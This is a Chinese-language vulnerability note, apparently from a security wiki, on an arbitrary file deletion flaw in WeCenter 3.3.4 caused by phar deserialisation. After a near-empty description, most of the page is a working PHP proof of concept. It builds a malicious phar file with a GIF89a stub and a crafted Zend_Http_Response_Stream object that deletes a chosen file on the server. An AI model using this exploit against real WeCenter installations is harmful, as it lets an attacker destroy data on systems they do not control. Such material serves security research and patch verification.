menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 136-WeCenter chevron_right 002-WeCenter 3.3.4 任意文件删除.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    002-WeCenter 3.3.4 任意文件删除.md
    1 KB / 2021-07-17 00:01:24
        # WeCenter 3.3.4 任意文件删除
    
    ### 一、漏洞简介
    
    ### 二、漏洞影响
    
    WeCenter 3.3.4
    
    ### 三、复现过程
    
    任意文件删除
    
    system/Zend/Http/Response/Stream.php:__destruct() 方法中存在任意文件删除。
    
    ![](images/15893802451792.png)
    
    
    poc
    
    
    ```php
    <?php
    class Zend_Http_Response_Stream
    {
        protected $_cleanup;
        protected $stream_name;
    
        public function __construct($stream_name)
        {
            $this->_cleanup = true;
            $this->stream_name = $stream_name;
        }
    }
    
    $stream_name = '/var/www/html/wecenter334/shell.php';
    $evilobj = new Zend_Http_Response_Stream($stream_name);
    // phar.readonly无法通过该语句进行设置: init_set("phar.readonly",0);
    $filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行
    file_exists($filename) ? unlink($filename) : null;
    $phar=new Phar($filename);
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($evilobj);
    $phar->addFromString("foo.txt","bar");
    $phar->stopBuffering();
    
    ?>
    ```
    
    links
    file_download